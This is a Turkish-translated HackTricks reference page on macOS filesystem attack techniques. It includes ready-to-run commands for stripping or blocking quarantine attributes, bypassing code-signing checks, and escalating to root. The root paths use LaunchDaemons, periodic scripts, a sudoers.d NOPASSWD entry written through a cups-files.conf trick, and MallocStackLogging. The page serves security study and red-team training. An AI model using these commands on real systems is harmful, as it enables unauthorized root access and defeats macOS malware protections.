macOS FS Tricks
Reading time: 13 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
POSIX izin kombinasyonları
Bir dizindeki izinler:
- okuma - dizin girişlerini listeleyebilirsiniz
- yazma - dizindeki dosyaları silip/yazabilirsiniz ve boş klasörleri silebilirsiniz.
- Ancak boş olmayan klasörleri silip/değiştiremezsiniz, eğer üzerinde yazma izniniz yoksa.
- Bir klasörün adını değiştiremezsiniz, eğer ona sahip değilseniz.
- çalıştırma - dizinde geçiş yapmanıza izin verilir - bu hakka sahip değilseniz, içindeki dosyalara veya alt dizinlere erişemezsiniz.
Tehlikeli Kombinasyonlar
Root tarafından sahip olunan bir dosya/klasörü nasıl geçersiz kılabilirsiniz, ancak:
- Yolda bir ana dizin sahibi kullanıcıdır
- Yolda bir ana dizin sahibi kullanıcı grubu yazma erişimine sahiptir
- Bir kullanıcı grubu dosyaya yazma erişimine sahiptir
Önceki kombinasyonlardan herhangi biriyle, bir saldırgan beklenen yola bir simetrik/sert bağlantı enjekte edebilir ve ayrıcalıklı bir yazma elde edebilir.
Klasör root R+X Özel durumu
Eğer yalnızca root'un R+X erişimine sahip olduğu bir dizide dosyalar varsa, bunlar başka kimseye erişilebilir değildir. Bu nedenle, bir kullanıcının okuyabileceği bir dosyayı, bu kısıtlama nedeniyle okunamayan bir dosyayı bu klasörden farklı birine taşımasına izin veren bir güvenlik açığı, bu dosyaları okumak için kötüye kullanılabilir.
Sembolik Bağlantı / Sert Bağlantı
İzinli dosya/klasör
Eğer ayrıcalıklı bir işlem, daha düşük ayrıcalıklı bir kullanıcı tarafından kontrol edilebilecek bir dosyaya veri yazıyorsa veya daha düşük ayrıcalıklı bir kullanıcı tarafından önceden oluşturulmuş bir dosyaya yazıyorsa. Kullanıcı, sadece bir Sembolik veya Sert bağlantı aracılığıyla başka bir dosyaya işaret edebilir ve ayrıcalıklı işlem o dosyaya yazacaktır.
Bir saldırganın ayrıcalıkları artırmak için keyfi bir yazmayı nasıl kötüye kullanabileceğini kontrol edin.
Açık O_NOFOLLOW
open
fonksiyonu tarafından kullanılan O_NOFOLLOW
bayrağı, son yol bileşenindeki bir sembolik bağlantıyı takip etmeyecek, ancak yolun geri kalanını takip edecektir. Yolda sembolik bağlantıları takip etmeyi önlemenin doğru yolu O_NOFOLLOW_ANY
bayrağını kullanmaktır.
.fileloc
.fileloc
uzantısına sahip dosyalar, diğer uygulamalara veya ikili dosyalara işaret edebilir, bu nedenle açıldıklarında, uygulama/ikili dosya çalıştırılacak olan olacaktır.
Örnek:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>
Dosya Tanımlayıcıları
Leak FD (no O_CLOEXEC
)
Eğer open
çağrısında O_CLOEXEC
bayrağı yoksa, dosya tanımlayıcısı çocuk süreç tarafından miras alınacaktır. Yani, eğer ayrıcalıklı bir süreç ayrıcalıklı bir dosyayı açar ve saldırgan tarafından kontrol edilen bir süreci çalıştırırsa, saldırgan ayrıcalıklı dosya üzerindeki FD'yi miras alacaktır.
Eğer bir sürecin yüksek ayrıcalıklarla bir dosya veya klasör açmasını sağlayabilirseniz, crontab
'ı kullanarak /etc/sudoers.d
içinde EDITOR=exploit.py
ile bir dosya açmak için kötüye kullanabilirsiniz, böylece exploit.py
/etc/sudoers
içindeki dosyaya FD alacak ve bunu kötüye kullanacaktır.
Örneğin: https://youtu.be/f1HA5QhLQ7Y?t=21098, kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
Karantina xattrs hilelerinden kaçının
Kaldırın
xattr -d com.apple.quarantine /path/to/file_or_app
uchg / uchange / uimmutable bayrağı
Eğer bir dosya/klasör bu değişmez niteliğe sahipse, ona bir xattr eklemek mümkün olmayacaktır.
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
defvfs mount
Bir devfs montajı xattr'ı desteklemez, daha fazla bilgi için CVE-2023-32364
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
writeextattr ACL
Bu ACL, dosyaya xattrs
eklenmesini engeller.
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar.
kaynak kodda görülebilir ki, xattr içinde saklanan ACL metin temsili com.apple.acl.text
olarak adlandırılır ve bu, sıkıştırılmamış dosyada ACL olarak ayarlanacaktır. Yani, bir uygulamayı ACL'nin diğer xattr'ların yazılmasını engellediği bir zip dosyasına AppleDouble dosya formatı ile sıkıştırdıysanız... karantina xattr uygulamaya ayarlanmamıştı:
Daha fazla bilgi için orijinal raporu kontrol edin.
Bunu tekrarlamak için önce doğru acl dizesini almamız gerekiyor:
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
(Note that even if this works the sandbox write the quarantine xattr before)
Not really needed but I leave it there just in case:
İmza kontrollerini atlama
Platform ikili dosyası kontrollerini atlama
Bazı güvenlik kontrolleri, ikilinin bir platform ikili dosyası olup olmadığını kontrol eder; örneğin, bir XPC hizmetine bağlanmaya izin vermek için. Ancak, https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ adresinde açıklandığı gibi, bu kontrolü atlamak mümkündür; bir platform ikili dosyası (örneğin /bin/ls) alarak ve istismarı dyld aracılığıyla bir ortam değişkeni DYLD_INSERT_LIBRARIES
kullanarak enjekte ederek.
CS_REQUIRE_LV
ve CS_FORCED_LV
bayraklarını atlama
Bir yürütülen ikilinin, kontrolleri atlamak için kendi bayraklarını değiştirmesi mümkündür; böyle bir kod ile:
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000; // CS_REQUIRE_LV
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
Bypass Code Signatures
Bundles, _CodeSignature/CodeResources
dosyasını içerir ve bu dosya bundle içindeki her bir dosyanın hash'ini barındırır. CodeResources'ın hash'inin de çalıştırılabilir dosya içinde gömülü olduğunu unutmayın, bu yüzden bununla da oynayamayız.
Ancak, imzası kontrol edilmeyecek bazı dosyalar vardır, bunlar plist'te omit anahtarına sahiptir, örneğin:
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
CLI'den bir kaynağın imzasını hesaplamak mümkündür:
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
Mount dmgs
Bir kullanıcı, mevcut bazı klasörlerin üzerine bile oluşturulmuş özel bir dmg'yi monte edebilir. Özel içerikle bir özel dmg paketi oluşturmanın yolu budur:
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null
# Next time you mount it, it will have the custom content you wrote
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
Genellikle macOS, diski com.apple.DiskArbitrarion.diskarbitrariond
Mach servisi ile bağlar (bu servis /usr/libexec/diskarbitrationd
tarafından sağlanır). LaunchDaemons plist dosyasına -d
parametresi eklenip yeniden başlatıldığında, /var/log/diskarbitrationd.log
dosyasına günlükler kaydedilecektir.
Ancak, com.apple.driver.DiskImages
kext'i ile doğrudan iletişim kurmak için hdik
ve hdiutil
gibi araçlar kullanmak mümkündür.
Keyfi Yazmalar
Periyodik sh betikleri
Eğer betiğiniz bir shell script olarak yorumlanabiliyorsa, her gün tetiklenecek olan /etc/periodic/daily/999.local
shell betiğini üzerine yazabilirsiniz.
Bu betiğin bir yürütmesini şu şekilde taklit edebilirsiniz: sudo periodic daily
Daemonlar
Keyfi bir LaunchDaemon yazın, örneğin /Library/LaunchDaemons/xyz.hacktricks.privesc.plist
gibi, keyfi bir betiği yürüten bir plist ile:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Just generate the script /Applications/Scripts/privesc.sh
with the commands you would like to run as root.
Sudoers Dosyası
Eğer keyfi yazma yetkiniz varsa, kendinize sudo ayrıcalıkları veren bir dosya oluşturabilirsiniz /etc/sudoers.d/
klasörü içinde.
PATH dosyaları
/etc/paths
dosyası, PATH env değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için root olmalısınız, ancak eğer yetkili bir işlem bir komutu tam yol olmadan çalıştırıyorsa, bu dosyayı değiştirerek onu ele geçirme şansınız olabilir.
Ayrıca, PATH
env değişkenine yeni klasörler yüklemek için /etc/paths.d
içinde dosyalar yazabilirsiniz.
cups-files.conf
Bu teknik bu yazıda kullanılmıştır.
Aşağıdaki içeriğe sahip /etc/cups/cups-files.conf
dosyasını oluşturun:
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
Bu, izinleri 777 olan /etc/sudoers.d/lpe
dosyasını oluşturacaktır. Sonundaki ekstra gereksizlik, hata günlüğü oluşturmayı tetiklemek içindir.
Ardından, /etc/sudoers.d/lpe
dosyasına %staff ALL=(ALL) NOPASSWD:ALL
gibi ayrıcalıkları artırmak için gerekli yapılandırmayı yazın.
Daha sonra, yeni sudoers dosyasının geçerli olmasını sağlamak için /etc/cups/cups-files.conf
dosyasını tekrar değiştirin ve LogFilePerm 700
belirtin, böylece cupsctl
çağrıldığında geçerli olur.
Sandbox Kaçışı
macOS sandbox'ından FS rastgele yazma ile kaçmak mümkündür. Bazı örnekler için macOS Auto Start sayfasına bakın, ancak yaygın bir örnek, başlangıçta bir komut çalıştıran ~/Library/Preferences/com.apple.Terminal.plist
içinde bir Terminal tercih dosyası yazmaktır ve bunu open
kullanarak çağırmaktır.
Diğer kullanıcılar olarak yazılabilir dosyalar oluşturma
Bu, benim yazabileceğim bir dosya oluşturacaktır ve bu dosya root'a aittir (buradan kod). Bu ayrıca ayrıcalık artırma olarak da çalışabilir:
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
POSIX Paylaşılan Bellek
POSIX paylaşılan bellek, POSIX uyumlu işletim sistemlerinde süreçlerin ortak bir bellek alanına erişmesine olanak tanır ve bu, diğer süreçler arası iletişim yöntemlerine kıyasla daha hızlı iletişim sağlar. Bu, shm_open()
ile bir paylaşılan bellek nesnesi oluşturmayı veya açmayı, ftruncate()
ile boyutunu ayarlamayı ve mmap()
kullanarak sürecin adres alanına haritalamayı içerir. Süreçler daha sonra bu bellek alanından doğrudan okuma ve yazma yapabilirler. Eşzamanlı erişimi yönetmek ve veri bozulmasını önlemek için genellikle mutexler veya semaforlar gibi senkronizasyon mekanizmaları kullanılır. Son olarak, süreçler paylaşılan belleği munmap()
ve close()
ile haritalamayı kaldırır ve kapatır, isteğe bağlı olarak bellek nesnesini shm_unlink()
ile kaldırabilirler. Bu sistem, birden fazla sürecin paylaşılan verilere hızlı bir şekilde erişmesi gereken ortamlarda verimli, hızlı IPC için özellikle etkilidir.
Üretici Kod Örneği
// gcc producer.c -o producer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Create the shared memory object
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Configure the size of the shared memory object
if (ftruncate(shm_fd, SIZE) == -1) {
perror("ftruncate");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Write to the shared memory
sprintf(ptr, "Hello from Producer!");
// Unmap and close, but do not unlink
munmap(ptr, SIZE);
close(shm_fd);
return 0;
}
Tüketici Kod Örneği
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object
// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}
// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}
// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);
// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink
return 0;
}
macOS Korunan Tanımlayıcılar
macOS korunan tanımlayıcılar, kullanıcı uygulamalarındaki dosya tanımlayıcı işlemlerinin güvenliğini ve güvenilirliğini artırmak için macOS'ta tanıtılan bir güvenlik özelliğidir. Bu korunan tanımlayıcılar, dosya tanımlayıcılarıyla belirli kısıtlamalar veya "korumalar" ilişkilendirme yolu sağlar ve bu kısıtlamalar çekirdek tarafından uygulanır.
Bu özellik, yetkisiz dosya erişimi veya yarış koşulları gibi belirli güvenlik açıklarını önlemek için özellikle yararlıdır. Bu güvenlik açıkları, örneğin bir iş parçacığı bir dosya tanımına eriştiğinde başka bir savunmasız iş parçacığına erişim vermesi veya bir dosya tanımlayıcısının savunmasız bir çocuk süreç tarafından devralınması durumunda ortaya çıkar. Bu işlevselliğe ilişkin bazı fonksiyonlar şunlardır:
guarded_open_np
: Bir koruma ile FD açarguarded_close_np
: Kapatırchange_fdguard_np
: Bir tanımlayıcı üzerindeki koruma bayraklarını değiştirir (koruma kaldırma dahil)
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.